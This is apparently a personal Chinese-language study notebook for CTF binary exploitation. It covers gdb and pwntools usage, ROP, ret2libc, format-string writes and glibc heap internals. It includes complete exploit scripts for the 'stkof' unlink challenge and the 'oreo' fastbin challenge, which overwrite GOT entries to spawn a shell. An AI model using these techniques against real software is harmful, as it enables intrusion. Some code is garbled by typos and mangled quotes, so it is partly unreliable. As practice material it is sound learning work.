
ida调试快捷键

一字节等于8位或者说8比特
2字节==16位
1字长32位PC的字长是32bit,现在开始成为主流的64位CPU字长是64bit,手机上使用较多的ARM处理器大多数是32位
传参
64位: 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
32位: 用栈传参
常用寄存器
和8086稍有区别,具体如下

常用指令

调试
context.log_level='debug'
gdb.attach(io)
io.send(p)
gdb.attach(p,'b *0x8048600')利用gdb动调,在0x8048600处下了个断点
ROPgadget
ROPgadget --binary ret2syscall --only "pop|ret"
LibcSearcher
libc = LibcSearcher("gets",gets_real_addr)
libcbase = gets_real_addr – obj.dump("fgets")
system_addr = libcbase + obj.dump("system") #system 偏移
bin_sh_addr = libcbase + obj.dump("str_bin_sh") #/bin/sh 偏移
关闭所以防护编译
gcc tar.c -z execstack -fno-stack-protector -no-pie -z norelro -o tar
-fPIC
生成shellcode
shellcode = asm(shellcraft.sh())
linux自带工具(搜索函数):
cd xxx
strings xxx
输出xxx文件中所有可打印字符
strings -t x libc-2.19.so | grep /bin/sh
strings xxx | grep /bin/sh
若有则打印bin/sh字符
查看内存
vmmap
查看xxx使用的libc路径及其版本
ldd xxx
查看栈中内容
stack 300
查看寄存器
p /x $rbp
更改换行符
dos2unix myexp.py
查看栈值
x /40gx $rsp
40代表是显示数目
g代表是8bit显示,x以16进制显示
第一个x代表查看内存
libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]
int : 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符,(是)
cyclic(60)
生产60字节的垃圾数据
shellcode = asm(shellcraft.sh())
生成shellcode
格式化字符串的任意地址值的修改
payload = fmtstr_payload(12,{0x804a048:0x02223322})
fmtstr_payload(offset,{addr:number})
ubuntu ios 镜像文件下载
http://mirrors.aliyun.com/ubuntu-releases/
安装VMware tools
安装失败
进入vmware-tools-distrib/bin, 执行sudo ./vmware-uninstall-tools.pl, (网上有些资料说还需要rm -rf /usr/lib/VMware, 不过我在/usr/lib下已经找不到相关文件了)
回到vmware-tools-distrib, 重新执行sudo ./vmware-install.pl , 一路回车
reboot, 解决!!
无法拖拽
执行
apt-get install open-vm-tools-desktop fuse
以安装open-vm-tools
DynELF模块的使用
def leak(address):
payload='A'*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
#junk是溢出需要的字节,利用pwndbg中的cyclic可以计算出
#write(1,address,4)表示将address向外写
r.send(payload)
data = r.recv(4)
print(data)
return data
dyn=DynELF(leak,elf=ELF('./pwn200'))#调用DynELF
sys_addr = dyn.lookup('system',libc)
print('system address:',hex(sys_addr))
ret2syscall
系统调用(x86)
mov eax , 0xb #系统调用号
mov ebx , [“/bin/sh”]
mov ecx , 0 #参数
mov edx , 0
int 0x80 #中断号
=> execve(“/bin/sh”,NULL,NULL)
ROPgadget –binary ret2syscall –only “pop|ret”
ret 就是pop eip ; esp-2 #b站大学 p3 150 左右
小端序 与 大端序
小端序 :

重要寄存器功能:
RIP
*存放当前指令的地址
RSP
*存放当前栈帧的栈顶地址
RBP
*存放当前栈帧的栈底地址
RAX
*同用寄,存放函数存器返回值
#报错
##UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not
UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not in range(128)
原因是:python的str默认是ascii编码,和unicode编码冲突,就会报这个标题错误
解决的办法是,在开头添加如下代码:
import sys
reload(sys)
sys.setdefaultencoding('utf8')
Ret2libc

system_elf = elf.plt[“system”]
linux自带工具(搜索函数):
cd xxx
strings xxx
输出xxx文件中所有可打印字符
string xxx | grep /bin/sh
若有则打印bin/sh字符
如下图,连续调用函数时栈 的结构

system 执行时找到上两个字作为参数(bin/sh)
然后pop bin/sh , return
在执行puts函数,上两字寻找参数“hello world”
然后pop_ret
最后执行exit 函数,同上
libc.symbols[“system”] - libc.symblos[“puts”]
sendlineafter(b”:”,str(elf.got[“puts”]))
sh.recv(numb = 2048, timeout = dufault) 接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True) 接受一行数据,keepends为是否保留行尾的\n
接收到:后,将puts函数的got表地址以字符串形式发送
recvuntil(b”:”)
接收直到:
libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]
int : 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符,(是)
cyclic(60)
生产60字节的垃圾数据
shellcode = asm(shellcraft.sh())
生成shellcode
e = ELF(‘/bin/cat’)
print hex(e.address) # 文件装载的基地址
0x400000
print hex(e.symbols[‘write’]) # 函数地址
0x401680
print hex(e.got[‘write’]) # GOT表的地址
0x60b070
print hex(e.plt[‘write’]) # PLT的地址
0x401680
print hex(e.search(‘/bin/sh’).next())# 字符串/bin/sh的地址
gdb.attach(sh) ———-v
sh.send(p) ——–>启动gdb调试
vmmap
查看内存
ldd xxx
查看xxx使用的libc路径及其版本
stack 300
查看栈中内容
docker
换源
https://developer.aliyun.com/mirror/?spm=a2c6h.13651104.0.d1002.7711506fiiugWK
sudo apt update
sudo apt upgrade
在etc/docker下修改docker镜像源,如果没有 daemon.json就新建添加以下内容:
{
"registry-mirrors": ["http://hub-mirror.c.163.com"]
}
# 也可以添加多个国内源
{
"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]
}
pip install docker-compose
docker-compose up -d
docker-compose build
查看
docker images -a
docker ps -a
docker images -q redis会输出所有仓库名为redis的镜像id,所以如果想要删除所有仓库名为redis的镜像,可以这么写:
docker rmi $(docker images –q redis)
如果想要删除所有镜像,可以这么写:
docker rmi $(docker images –qa)
pwn_deploy_chroot-master
https://github.com/giantbranch/pwn_deploy_chroot
如何使用
1. Put your pwn program to ./bin (Note that the filename should not contain special characters.)
2. python initialize.py
3. docker-compose up --build -d # please run as root
您可以编辑 config.py 以决定是否将 /bin/sh 替换为 catflag
# Whether to replace /bin/sh
## replace
REPLACE_BINSH = True
## not replace(default)
REPLACE_BINSH = False
格式化字符串漏洞
%100$p
$p
打印栈中保存的内容
%s
将栈中数据解析为地址,打印地址所对应的数据
%n
写入前方打印成功的字符的个数
堆栈图入下

ubuntu根目录下空间不足,syslog占用很大空间
查看当前系统内存情况
df -h
查看当前目录下所有木有资源占用情况
du -sh *
syslog占用很大空间,可以清空
cat /dev/null > /var/log/syslog
堆
当申请的堆较小时,直接在data段申请一段空间。
当申请的堆较大时,则在mmap段申请一段空间
清除缓冲区
setbuf(stdout,0)
chunk
是内存分配的基本单位
只会分配字长整数倍的chunk(会自动补齐)
int* p = malloc(0x100) 实际消耗0x110,因为需要两个控制字段。

malloc chunk
size的后3 Bity存储控制信息
|A|M|P|
prev size 用于存储上一个free chunk大小
size 用于存储自身控制字段和数据字段大小
p = 0 表示为free chunk
p = 1 表示非free chunk
特殊的是 , fast chunk的p总是为1 , 并且不会合并。

free chunk 的合并
当下一个chunk发现上一个chunk也是free_chunk时,两个chunk将被合并,size变为两个chunk的总和
但是数据仍在原地,结构如图

当堆较小时,堆就在data和bss段的高地址

逻辑链表
fasebins 按照堆的大小分配bin
而每个链表由指针链接形成链表
由fd指针指向下一个chunk

###bin双向链表
bin也是栈的结构
由fd指针指向下一个chunk
由bk指针指向上一个chunk
每个chunk相互链接形成双向链表


double_free 漏洞
int* p = malloc(0x300) ;
int* q = malloc(0x200) ;
free(q);
free(p);
free(q);
可利用函数
##fmtstr_payload
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
第三个参数表示已经输出的字符个数,若没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
##mprotect
mprotect(void *addr, size_t len, int prot)
利用vmmap命令在gdb中找到可以修改的段
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
unlink
利用Unlink机制,向unsortedbin中写入chunk,从而达到攻击效果。这里以ctf-wiki 的例题作为理解。
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline(‘2’)
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil(‘OK\n’)
def free(idx):
p.sendline(‘3’)
p.sendline(str(idx))
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who’s size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk’s prev_size bypass the check
payload = payload.ljust(0x30, ‘a’)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if name == “main“:
exp()
首先构造堆如图所示

那么在unsortedbin中则会出现0x6002270-0x18 的chunk,我们通过修改一些chunk为函数来实现其调用。
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
例如上一句,向bin中写入了各个函数地址作为chunk地址。

payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
接着,覆盖free的地址为puts,实现泄露。
如法炮制,实现system函数的调用。
也可以将free改为system,在chunk[3]中写入”bin/sh\0x00”,最后free(3)也可以实现getshell
fastbin_attack
fastbin_attach 其基础攻击手段如下:
double_free
1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
我们可以构造如下的结构来实现任意地址写的功能

House of Spirit
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
但是想要成功链接fack_chunk需要如下条件
fack_chunk 的ISMMAP位不能为1,因为free时mmap的chunk,会单独处理
fack_chunk 的地址需要对齐,MALLOC_ALIGN_MASK
fack_chunk 的size大小需要满足相应fastbin,同时也应对齐
fack_chunk 的next_chunk大小不可越界。即不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
Alloc to Stack && Arbitrary Alloc
分别是将堆分配到栈,或者是任意地址
alloc to stack 可以覆盖栈的返回地址来劫持执行流
arbirtary alloc 可以使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。(这个我暂时也不懂)
下面就用一道题来实际演示下
2014 hack.lu oreo 题目链接
1.利用堆溢出漏洞,泄露free_got 的地址(那么哪里才能买到呢?)
我们先free掉任意一个chunk,因为libc的延迟绑定机制,现在我们将free_got写入next_chunk中,然后 show 来泄露got表地址
2.因为 ++rifle_cnt 语句 会记录创建的chunk的个数,因此可以为攻击准备环境。
再向message写入payload,准备如下条件来绕过检测
payload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100)
#padding + last_chunk + pre_size + size
现在我们实现了任意地址写入的功能
3.get_shell
我们修改某函数的got表指针为libc.symbols[‘system’]函数的地址,利用fget函数写入,并执行该函数,就可以get_shell。
exp如下
#! /usr/bin/python3
from pwn import *
io = process(‘./oreo’)
elf=ELF(‘./oreo’)
context.log_level=’debug’
libc = ELF(‘libc.so.6’)
def add (name,des):
io.sendline('1')
#io.recvuntil('Rifle name: ')
io.sendline(name)
#io.recvuntil('Rifle description: ')
io.sendline(des)
def show ():
io.sendline('2')
def order ():
io.sendline('3')
def message (notice):
io.sendline('4')
#io.recvuntil('order: ')
io.sendline(notice)
#1 — leak the libcbase
add(b’a’,b’b’)
order()
free_got = elf.got[‘free’]
add(b’a’*27+p32(free_got) , b’b’*25)
show()
io.recvuntil(‘Description: ‘)
io.recvuntil(‘Description: ‘)
free_addr = u32(io.recv(4).ljust(4,b’\x00’))
print (“free_addr=” , hex(free_addr))
libc_base = free_addr - libc.sym[‘free’]
system_addr = libc_base + libc.sym[‘system’]
print (“system_addr”, hex(system_addr))
#2 --- malloc to bss
for i in range(0x40-2-1):
add(b'a'*27+p32(0),str(i))
message_addr = 0x0804A2A8
add(b'a'*26+b'A'+p32(message_addr) , b'b') #write from A8 , message from cc
payload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100)
#padding + last_chunk + pre_size + size
message(payload) #from c0
order()
io.recvuntil('Okay order submitted!')
#get_shell
payload = p32(elf.got['strlen'])
#gdb.attach(cn)
add('b',payload) # 0x40: 0x804a2a0 —▸ 0x863c390 ◂— 0x0
gdb.attach(cn)
message(p32(system_addr)+ b';/bin/sh\x00') #0x804a2a0
gdb.attach(io)
io.interactive()
mips
安装命令
apt-get install emdebian-archive-keyring
apt install gcc-mips-linux-gnu
使用apt安装时报错
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?
解决方案:
方案一:
sudo killall apt apt-get
如果提示没有apt进程:
apt: no process found
apt-get: no process found
往下看方案二
方案二:
依次执行:
sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg –configure -a
sudo apt update
完成!
编译命令
mips-linux-gnu-gcc [xxx.c] -static -o [xxxx]
写入字符引发溢出
python -c “print ‘A’*200” > passwd




